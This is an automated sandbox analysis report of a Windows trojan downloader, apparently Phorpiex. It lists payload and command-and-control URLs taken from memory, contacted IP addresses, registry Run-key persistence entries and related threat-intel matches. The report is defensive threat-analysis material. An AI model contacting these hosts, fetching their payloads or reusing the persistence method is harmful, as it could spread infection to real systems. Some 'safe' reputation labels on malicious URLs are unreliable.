http://185.215.113.66/_3	true	Avira URL Cloud: safe	unknown
http://185.215.113.66/_1	true	Avira URL Cloud: safe	unknown
http://185.215.113.66/_2	true	Avira URL Cloud: safe	unknown
http://91.202.233.141/1	false	Avira URL Cloud: safe	unknown
http://91.202.233.141/2	false	Avira URL Cloud: safe	unknown
http://91.202.233.141/5	false	Avira URL Cloud: safe	unknown
http://91.202.233.141/6	false	Avira URL Cloud: safe	unknown
http://91.202.233.141/3	false	Avira URL Cloud: safe	unknown
http://91.202.233.141/4	false	Avira URL Cloud: safe	unknown
http://185.215.113.66/5	true	Avira URL Cloud: safe	unknown
http://185.215.113.66/4	true	Avira URL Cloud: safe	unknown
http://185.215.113.66/3	true	Avira URL Cloud: safe	unknown
http://185.215.113.66/2	true	Avira URL Cloud: safe	unknown
http://185.215.113.66/6	true	Avira URL Cloud: malware	unknown
http://185.215.113.66/1	true	Avira URL Cloud: safe	unknown
http://91.202.233.141/_1	false	Avira URL Cloud: safe	unknown
http://91.202.233.141/_2	false	Avira URL Cloud: safe	unknown
http://91.202.233.141/_3	false	Avira URL Cloud: safe	unknown
http://twizt.net/ALLSTATA	true	Avira URL Cloud: phishing	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.233.132.177/_2g	1146722911.exe, 00000007.00000002.3857092737.0000000000910000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.66/reg.php?s=%s	sysbrapsvc.exe, 00000002.00000002.3863143068.0000000002263000.00000004.00000020.00020000.00000000.sdmp, 300129380.exe, 00000012.00000000.2034540259.00000000003F2000.00000002.00000001.01000000.00000010.sdmp, 300129380.exe, 00000012.00000002.2075465997.00000000003F2000.00000002.00000001.01000000.00000010.sdmp, 300129380.exe.2.dr	false	Avira URL Cloud: safe	unknown
http://185.215.113.66/_36o	1146722911.exe, 00000007.00000002.3857092737.0000000000925000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://193.233.132.177/2S	sysbrapsvc.exe, 00000002.00000002.3857411843.000000000065E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.66/_32_p0	1146722911.exe, 00000007.00000002.3854688865.000000000073A000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://icanhazip.com/.	sysbrapsvc.exe, 00000002.00000002.3866327336.0000000004780000.00000004.00000020.00020000.00000000.sdmp, 2006625995.exe, 0000000A.00000002.2106010574.0000000000D74000.00000002.00000001.01000000.0000000B.sdmp, 2006625995.exe, 0000000A.00000000.1869234828.0000000000D74000.00000002.00000001.01000000.0000000B.sdmp, 2006625995.exe.2.dr	false		high
http://193.233.132.177/4#	sysbrapsvc.exe, 00000002.00000002.3857411843.000000000065E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://193.233.132.177/3C	sysbrapsvc.exe, 00000002.00000002.3857411843.000000000065E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://193.233.132.177/3h.dll	sysbrapsvc.exe, 00000002.00000002.3861073060.00000000006E1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.66/_3qh	1146722911.exe, 00000007.00000002.3857092737.0000000000925000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://91.202.233.141/_3yh	1146722911.exe, 00000007.00000002.3857092737.0000000000925000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://twizt.net/ALLSTATAo	330125677.exe, 0000000F.00000002.2003173720.0000000000586000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://91.202.233.141/_11N:we	1146722911.exe, 00000007.00000002.3857092737.0000000000910000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.66/3:(	2303012543.exe, 00000008.00000002.1835372056.00000000009A8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.66/5P	2303012543.exe, 00000008.00000002.1835372056.00000000009A8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://193.233.132.177/377	sysbrapsvc.exe, 00000002.00000002.3861073060.00000000006E1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://twizt.net/	330125677.exe, 0000000F.00000002.2003173720.00000000005B5000.00000004.00000020.00020000.00000000.sdmp, 330125677.exe, 0000000F.00000002.2003173720.000000000059D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://twizt.net/ALLSTATAopen%temp%%s	330125677.exe, 0000000F.00000000.1953132722.00000000006F2000.00000002.00000001.01000000.0000000E.sdmp, 330125677.exe, 0000000F.00000002.2003454543.00000000006F2000.00000002.00000001.01000000.0000000E.sdmp, 330125677.exe.2.dr	false	Avira URL Cloud: phishing	unknown
http://91.202.233.141/_1K	1146722911.exe, 00000007.00000002.3857092737.0000000000910000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.66/1http://185.215.113.66/2http://185.215.113.66/3http://185.215.113.66/4http://1	1146722911.exe, 00000007.00000003.1910029752.0000000000946000.00000004.00000020.00020000.00000000.sdmp, 1146722911.exe, 00000007.00000003.2077440779.0000000000948000.00000004.00000020.00020000.00000000.sdmp, 2303012543.exe, 00000008.00000002.1835645127.0000000000B52000.00000002.00000001.01000000.00000009.sdmp, 2303012543.exe, 00000008.00000000.1812033421.0000000000B52000.00000002.00000001.01000000.00000009.sdmp, 2711236308.exe, 0000000D.00000000.1899350021.0000000000392000.00000002.00000001.01000000.0000000C.sdmp, 2711236308.exe, 0000000D.00000002.1922511863.0000000000392000.00000002.00000001.01000000.0000000C.sdmp, 1245832676.exe, 00000010.00000002.2002860565.0000000000AE2000.00000002.00000001.01000000.0000000F.sdmp, 1245832676.exe, 00000010.00000000.1982341413.0000000000AE2000.00000002.00000001.01000000.0000000F.sdmp, 2711236308.exe.7.dr, 2303012543.exe.7.dr, 1245832676.exe.7.dr	false	Avira URL Cloud: safe	unknown
http://185.215.113.66/_1Ih	1146722911.exe, 00000007.00000002.3857092737.0000000000925000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/soap/encoding/	3193211493.exe.2.dr	false		high
http://91.202.233.141/6P	sysbrapsvc.exe, 00000002.00000002.3861073060.00000000006D4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://91.202.233.141/5G4	sysbrapsvc.exe, 00000002.00000002.3857411843.000000000060E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://91.202.233.141/_16	1146722911.exe, 00000007.00000002.3857092737.0000000000910000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.66/2H	sysbrapsvc.exe, 00000002.00000002.3857411843.0000000000678000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://91.202.233.141/5e	sysbrapsvc.exe, 00000002.00000002.3861073060.00000000006D4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.66/2O	sysbrapsvc.exe, 00000002.00000002.3857411843.0000000000678000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.66/_1/	1146722911.exe, 00000007.00000002.3857092737.00000000008DE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://91.202.233.141/_11	1146722911.exe, 00000007.00000002.3857092737.0000000000910000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.66/reg.php?s=%sMozilla/5.0	sysbrapsvc.exe, 00000002.00000002.3863143068.0000000002263000.00000004.00000020.00020000.00000000.sdmp, 300129380.exe, 00000012.00000000.2034540259.00000000003F2000.00000002.00000001.01000000.00000010.sdmp, 300129380.exe, 00000012.00000002.2075465997.00000000003F2000.00000002.00000001.01000000.00000010.sdmp, 300129380.exe.2.dr	false	Avira URL Cloud: safe	unknown
https://nexo.com/buy-crypto/bitcoin-btc	2006625995.exe, 2006625995.exe, 0000000A.00000002.2106010574.0000000000D74000.00000002.00000001.01000000.0000000B.sdmp, 2006625995.exe, 0000000A.00000000.1869234828.0000000000D74000.00000002.00000001.01000000.0000000B.sdmp, 2006625995.exe.2.dr	false	Avira URL Cloud: safe	unknown
https://bitpay.com/buy-bitcoin/?crypto=BTC	2006625995.exe, 2006625995.exe, 0000000A.00000002.2106010574.0000000000D74000.00000002.00000001.01000000.0000000B.sdmp, 2006625995.exe, 0000000A.00000000.1869234828.0000000000D74000.00000002.00000001.01000000.0000000B.sdmp, 2006625995.exe.2.dr	false		high
http://91.202.233.141/5V	sysbrapsvc.exe, 00000002.00000002.3857411843.000000000065E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.66/61(	2303012543.exe, 00000008.00000002.1835372056.00000000009A8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://91.202.233.141/5Y	sysbrapsvc.exe, 00000002.00000002.3861073060.00000000006D4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://91.202.233.141/6.F;	sysbrapsvc.exe, 00000002.00000002.3857411843.000000000065E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.66/_36U	1146722911.exe, 00000007.00000002.3857092737.0000000000925000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://91.202.233.141/4e	sysbrapsvc.exe, 00000002.00000002.3857411843.000000000060E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://twizt.net/ALLSTATAnt	330125677.exe, 0000000F.00000002.2003173720.000000000055E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.66/3T	sysbrapsvc.exe, 00000002.00000002.3857411843.0000000000678000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://paybis.com/	2006625995.exe, 2006625995.exe, 0000000A.00000002.2106010574.0000000000D74000.00000002.00000001.01000000.0000000B.sdmp, 2006625995.exe, 0000000A.00000000.1869234828.0000000000D74000.00000002.00000001.01000000.0000000B.sdmp, 2006625995.exe.2.dr	false		high
http://185.215.113.66/_1_	1146722911.exe, 00000007.00000002.3857092737.00000000008DE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.66/1A	sysbrapsvc.exe, 00000002.00000002.3857411843.000000000065E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://91.202.233.141/	winploravr.exe, winploravr.exe, 0000000E.00000002.1927342041.00000000000F3000.00000002.00000001.01000000.0000000D.sdmp, winploravr.exe, 0000000E.00000000.1906559266.00000000000F3000.00000002.00000001.01000000.0000000D.sdmp, winploravr.exe, 00000011.00000002.2008324273.00000000002A3000.00000002.00000001.01000000.0000000A.sdmp, winploravr.exe, 00000011.00000000.1987852595.00000000002A3000.00000002.00000001.01000000.0000000A.sdmp, SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe, winploravr.exe.7.dr, sysbrapsvc.exe.0.dr, winploravr.exe0.7.dr, 3193211493.exe.2.dr, 1146722911.exe.2.dr	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/soap/envelope/	3193211493.exe.2.dr	false		high
http://193.233.132.177/31A	sysbrapsvc.exe, 00000002.00000002.3861073060.00000000006E1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://91.202.233.141/1xF;	sysbrapsvc.exe, 00000002.00000002.3857411843.0000000000678000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://icanhazip.com/	sysbrapsvc.exe, 00000002.00000002.3866327336.0000000004780000.00000004.00000020.00020000.00000000.sdmp, 2006625995.exe, 2006625995.exe, 0000000A.00000002.2106010574.0000000000D74000.00000002.00000001.01000000.0000000B.sdmp, 2006625995.exe, 0000000A.00000000.1869234828.0000000000D74000.00000002.00000001.01000000.0000000B.sdmp, 2006625995.exe.2.dr	false		high
http://185.215.113.66/2.233.141/	1146722911.exe, 00000007.00000002.3857092737.0000000000925000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.66/_2Yk	1146722911.exe, 00000007.00000002.3857092737.0000000000925000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://193.233.132.177/_2ih0d.	1146722911.exe, 00000007.00000002.3857092737.0000000000925000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.66/_36	1146722911.exe, 00000007.00000002.3857092737.0000000000925000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.66/_2ah(d-	1146722911.exe, 00000007.00000002.3857092737.0000000000925000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://193.233.132.177/_2	1146722911.exe, 00000007.00000002.3857092737.0000000000925000.00000004.00000020.00020000.00000000.sdmp, 1146722911.exe, 00000007.00000002.3857092737.0000000000910000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://91.202.233.141/1S4	sysbrapsvc.exe, 00000002.00000002.3857411843.000000000060E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.66/_2d	2303012543.exe, 00000008.00000002.1835372056.00000000009A8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.66/der	sysbrapsvc.exe, 00000002.00000002.3857411843.000000000065E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://193.233.132.177/_3	1146722911.exe, 00000007.00000002.3857092737.0000000000925000.00000004.00000020.00020000.00000000.sdmp, 1146722911.exe, 00000007.00000002.3857092737.0000000000910000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.66/http://91.202.233.141/http://193.233.132.177/123456%s%s%s:Zone.Identifier%user	SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe, sysbrapsvc.exe.0.dr, 3193211493.exe.2.dr	false	Avira URL Cloud: safe	unknown
http://twizt.net/ALLSTATAWaIG2	330125677.exe, 0000000F.00000002.2003173720.0000000000586000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://cex.io/buy-bitcoins	2006625995.exe, 2006625995.exe, 0000000A.00000002.2106010574.0000000000D74000.00000002.00000001.01000000.0000000B.sdmp, 2006625995.exe, 0000000A.00000000.1869234828.0000000000D74000.00000002.00000001.01000000.0000000B.sdmp, 2006625995.exe.2.dr	false		high
http://185.215.113.66/3KKC:	sysbrapsvc.exe, 00000002.00000003.1794514607.0000000000692000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.66/	winploravr.exe, winploravr.exe, 0000000E.00000002.1927342041.00000000000F3000.00000002.00000001.01000000.0000000D.sdmp, winploravr.exe, 0000000E.00000000.1906559266.00000000000F3000.00000002.00000001.01000000.0000000D.sdmp, winploravr.exe, 00000011.00000002.2008324273.00000000002A3000.00000002.00000001.01000000.0000000A.sdmp, winploravr.exe, 00000011.00000000.1987852595.00000000002A3000.00000002.00000001.01000000.0000000A.sdmp, SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe, winploravr.exe.7.dr, sysbrapsvc.exe.0.dr, winploravr.exe0.7.dr, 3193211493.exe.2.dr, 1146722911.exe.2.dr	false	Avira URL Cloud: safe	unknown
http://193.233.132.177/_21hXd#	1146722911.exe, 00000007.00000002.3857092737.0000000000925000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.66/_2Ah	1146722911.exe, 00000007.00000002.3857092737.0000000000925000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://twizt.net/ALLSTATA7a	330125677.exe, 0000000F.00000002.2003173720.0000000000586000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://193.233.132.177/_3Qh8d/	1146722911.exe, 00000007.00000002.3857092737.0000000000925000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://193.233.132.177/	winploravr.exe, winploravr.exe, 0000000E.00000002.1927342041.00000000000F3000.00000002.00000001.01000000.0000000D.sdmp, winploravr.exe, 0000000E.00000000.1906559266.00000000000F3000.00000002.00000001.01000000.0000000D.sdmp, winploravr.exe, 00000011.00000002.2008324273.00000000002A3000.00000002.00000001.01000000.0000000A.sdmp, winploravr.exe, 00000011.00000000.1987852595.00000000002A3000.00000002.00000001.01000000.0000000A.sdmp, SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe, winploravr.exe.7.dr, sysbrapsvc.exe.0.dr, winploravr.exe0.7.dr, 3193211493.exe.2.dr, 1146722911.exe.2.dr	false	Avira URL Cloud: safe	unknown
http://193.233.132.177/3s	sysbrapsvc.exe, 00000002.00000002.3857411843.000000000065E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.66/_3t	2303012543.exe, 00000008.00000002.1835372056.00000000009A8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://193.233.132.177/6	sysbrapsvc.exe, 00000002.00000002.3857411843.000000000065E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://193.233.132.177/5	sysbrapsvc.exe, 00000002.00000002.3857411843.000000000065E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://invity.io/buy-crypto	2006625995.exe, 2006625995.exe, 0000000A.00000002.2106010574.0000000000D74000.00000002.00000001.01000000.0000000B.sdmp, 2006625995.exe, 0000000A.00000000.1869234828.0000000000D74000.00000002.00000001.01000000.0000000B.sdmp, 2006625995.exe.2.dr	false	Avira URL Cloud: safe	unknown
http://193.233.132.177/2	sysbrapsvc.exe, 00000002.00000002.3857411843.000000000065E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://91.202.233.141/_2yk	1146722911.exe, 00000007.00000002.3857092737.0000000000925000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://193.233.132.177/1	sysbrapsvc.exe, 00000002.00000002.3857411843.000000000065E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://193.233.132.177/4	sysbrapsvc.exe, 00000002.00000002.3857411843.000000000065E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://193.233.132.177/3	sysbrapsvc.exe, 00000002.00000002.3863535540.00000000024DB000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://91.202.233.141/2:	sysbrapsvc.exe, 00000002.00000002.3857411843.0000000000678000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.66/_3Yh	1146722911.exe, 00000007.00000002.3857092737.0000000000925000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
89.236.219.106	unknown	Uzbekistan	39032	ISPETCUZ	false
2.133.220.58	unknown	Kazakhstan	9198	KAZTELECOM-ASKZ	true
80.80.214.50	unknown	Uzbekistan	34718	TPSUZ-ASUZ	false
91.202.233.141	unknown	Russian Federation	9009	M247GB	false
187.250.131.80	unknown	Mexico	8151	UninetSAdeCVMX	false
109.168.235.213	unknown	Russian Federation	12389	ROSTELECOM-ASRU	false
5.219.253.209	unknown	Iran (ISLAMIC Republic Of)	58224	TCIIR	false
217.164.211.207	unknown	United Arab Emirates	5384	EMIRATES-INTERNETEmiratesInternetAE	false
111.9.3.39	unknown	China	9808	CMNET-GDGuangdongMobileCommunicationCoLtdCN	false
91.92.206.184	unknown	Iran (ISLAMIC Republic Of)	12880	DCI-ASIR	false
82.194.11.2	unknown	Azerbaijan	29584	AZEDUNET-ASAZ	false
82.200.224.194	unknown	Kazakhstan	9198	KAZTELECOM-ASKZ	false
92.124.152.236	unknown	Russian Federation	12389	ROSTELECOM-ASRU	false
87.237.239.65	unknown	Uzbekistan	39032	ISPETCUZ	false
187.235.148.47	unknown	Mexico	8151	UninetSAdeCVMX	false
212.154.184.158	unknown	Kazakhstan	50482	KAZAKHTELECOM-ASKZ	false
102.130.192.212	unknown	Angola	37645	ZAP-AngolaAO	false
2.190.51.122	unknown	Iran (ISLAMIC Republic Of)	12880	DCI-ASIR	false
85.204.86.26	unknown	Iran (ISLAMIC Republic Of)	58224	TCIIR	false
2.191.74.251	unknown	Iran (ISLAMIC Republic Of)	12880	DCI-ASIR	false
89.249.62.87	unknown	Russian Federation	50164	RFTV-ASRU	false
93.123.145.179	unknown	Russian Federation	35539	INFOLINK-T-ASMoscowRussiaRU	false
201.171.26.123	unknown	Mexico	8151	UninetSAdeCVMX	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
92.47.251.85	unknown	Kazakhstan	9198	KAZTELECOM-ASKZ	false
41.199.184.238	unknown	Egypt	36992	ETISALAT-MISREG	false
88.135.33.186	unknown	Iran (ISLAMIC Republic Of)	50177	SHETABIR	false
95.156.103.50	unknown	Russian Federation	12389	ROSTELECOM-ASRU	false
5.235.233.254	unknown	Iran (ISLAMIC Republic Of)	58224	TCIIR	false
93.117.37.145	unknown	Iran (ISLAMIC Republic Of)	58224	TCIIR	false
185.215.113.66	twizt.net	Portugal	206894	WHOLESALECONNECTIONSNL	true
67.195.228.94	mta7.am0.yahoodns.net	United States	36647	YAHOO-GQ1US	false
189.222.182.86	unknown	Mexico	8151	UninetSAdeCVMX	true
100.82.121.252	unknown	Reserved	701	UUNETUS	true
5.255.18.13	unknown	Yemen	30873	PTC-YEMENNETYE	false
88.204.241.110	unknown	Kazakhstan	9198	KAZTELECOM-ASKZ	false
190.36.195.147	unknown	Venezuela	8048	CANTVServiciosVenezuelaVE	false
89.106.236.58	unknown	Kazakhstan	9198	KAZTELECOM-ASKZ	false
193.233.132.177	unknown	Russian Federation	2895	FREE-NET-ASFREEnetEU	false
89.219.223.67	unknown	Iran (ISLAMIC Republic Of)	12880	DCI-ASIR	false
100.111.103.217	unknown	Reserved	701	UUNETUS	false
82.194.10.40	unknown	Azerbaijan	29584	AZEDUNET-ASAZ	false
84.53.244.106	unknown	Russian Federation	12389	ROSTELECOM-ASRU	false
187.133.57.73	unknown	Mexico	8151	UninetSAdeCVMX	false
89.236.218.241	unknown	Uzbekistan	39032	ISPETCUZ	false
37.151.73.50	unknown	Kazakhstan	9198	KAZTELECOM-ASKZ	false
186.94.185.219	unknown	Venezuela	8048	CANTVServiciosVenezuelaVE	false
189.186.73.73	unknown	Mexico	8151	UninetSAdeCVMX	false
2.185.146.181	unknown	Iran (ISLAMIC Republic Of)	58224	TCIIR	false
77.240.41.3	unknown	Kazakhstan	41371	BIKADAKZ	false
146.70.53.161	unknown	United Kingdom	2018	TENET-1ZA	false
89.218.238.106	unknown	Kazakhstan	9198	KAZTELECOM-ASKZ	false
92.47.124.54	unknown	Kazakhstan	9198	KAZTELECOM-ASKZ	false
2.180.211.255	unknown	Iran (ISLAMIC Republic Of)	58224	TCIIR	false
37.120.247.6	unknown	Romania	41984	MCC-ASRO	false
94.141.69.176	unknown	Uzbekistan	47452	IMAX-AS-UpstreamUztelecom-UZ	false

Private

IP
10.102.10.21

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1438295
Start date and time:	2024-05-08 15:21:12 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 29s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	20
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@23/24@3/57
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 76 Number of non-executed functions: 230
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 20.72.235.82
Excluded domains from analysis (whitelisted): redir.update.msft.com.trafficmanager.net, www.update.microsoft.com, ctldl.windowsupdate.com
HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: SecuriteInfo.com.Trojan.DownLoader46.2135.18096.85.exe

Simulations

Behavior and APIs

Time	Type	Description
15:22:15	Autostart	Run: HKLM\Software\Microsoft\Windows\CurrentVersion\Run Windows Settings C:\Windows\sysbrapsvc.exe
15:22:16	API Interceptor	2447431x Sleep call for process: sysbrapsvc.exe modified
15:22:43	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Windows Service C:\Users\user\winploravr.exe
15:22:52	Autostart	Run: HKLM\Software\Microsoft\Windows\CurrentVersion\Run Windows Service C:\Windows\winploravr.exe
15:23:00	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Windows Service C:\Users\user\winploravr.exe
15:23:37	API Interceptor	5x Sleep call for process: 1146722911.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
212.154.184.158	SecuriteInfo.com.Trojan.Siggen21.19151.20597.8736.exe	Get hash	malicious	Phorpiex	Browse
2.133.220.58	file.exe	Get hash	malicious	Phorpiex	Browse
109.168.235.213	file.exe	Get hash	malicious	Phorpiex	Browse
5.219.253.209	I7ldmFS13W.exe	Get hash	malicious	Phorpiex	Browse
111.9.3.39	I7ldmFS13W.exe	Get hash	malicious	Phorpiex	Browse
80.80.214.50	file.exe	Get hash	malicious	Phorpiex	Browse
91.92.206.184	file.exe	Get hash	malicious	Phorpiex	Browse
82.194.11.2	957C4XK6Lt.exe	Get hash	malicious	Phorpiex	Browse
91.202.233.141	I7ldmFS13W.exe	Get hash	malicious	Phorpiex	Browse	91.202.233.141/4
82.200.224.194	I7ldmFS13W.exe	Get hash	malicious	Phorpiex	Browse
82.200.224.194	o3N9Cy4cvC.exe	Get hash	malicious	Phorpiex	Browse
87.237.239.65	file.exe	Get hash	malicious	Phorpiex	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
mta7.am0.yahoodns.net	SecuriteInfo.com.Win32.BotX-gen.31335.5127.exe	Get hash	malicious	Tofsee	Browse	67.195.204.73
	file.exe	Get hash	malicious	Phorpiex	Browse	67.195.228.111
	file.exe	Get hash	malicious	Phorpiex	Browse	98.136.96.77
	RqrQG7s66x.dll	Get hash	malicious	Unknown	Browse	67.195.204.79
	3pYA64ZwEC.exe	Get hash	malicious	Unknown	Browse	98.136.96.77
	newtpp.exe	Get hash	malicious	Phorpiex	Browse	98.136.96.91
	7b8wRbnmKu.exe	Get hash	malicious	Unknown	Browse	67.195.204.79
	file.msg.scr.exe	Get hash	malicious	Unknown	Browse	67.195.204.79
	l3Qj8QhTYZ.exe	Get hash	malicious	Phorpiex	Browse	98.136.96.76
	.exe	Get hash	malicious	Unknown	Browse	67.195.228.111
twizt.net	I7ldmFS13W.exe	Get hash	malicious	Phorpiex	Browse	185.215.113.66
	957C4XK6Lt.exe	Get hash	malicious	Phorpiex	Browse	185.215.113.66
	spl.exe	Get hash	malicious	Unknown	Browse	185.215.113.66
	spl.exe	Get hash	malicious	Unknown	Browse	185.215.113.66
	http://twizt.net/spl.exe	Get hash	malicious	Unknown	Browse	185.215.113.66
	http://twizt.net/spl.exe	Get hash	malicious	Unknown	Browse	185.215.113.66
	XnUEBMnOEd.exe	Get hash	malicious	Unknown	Browse	185.215.113.66
	XnUEBMnOEd.exe	Get hash	malicious	Unknown	Browse	185.215.113.66
	Document.doc.lnk	Get hash	malicious	MalLnk	Browse	185.215.113.66
	Document.doc.lnk	Get hash	malicious	MalLnk	Browse	185.215.113.66

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ISPETCUZ	file.exe	Get hash	malicious	Phorpiex	Browse	217.30.163.6
	file.exe	Get hash	malicious	Phorpiex	Browse	89.236.216.14
	file.exe	Get hash	malicious	Phorpiex	Browse	217.30.163.15
	3A1J69z1t7.elf	Get hash	malicious	Mirai	Browse	217.30.172.124
	mKVBAPvSpM.exe	Get hash	malicious	Phorpiex	Browse	217.30.160.221
	etiGLVC4Wj.elf	Get hash	malicious	Mirai	Browse	217.30.172.167
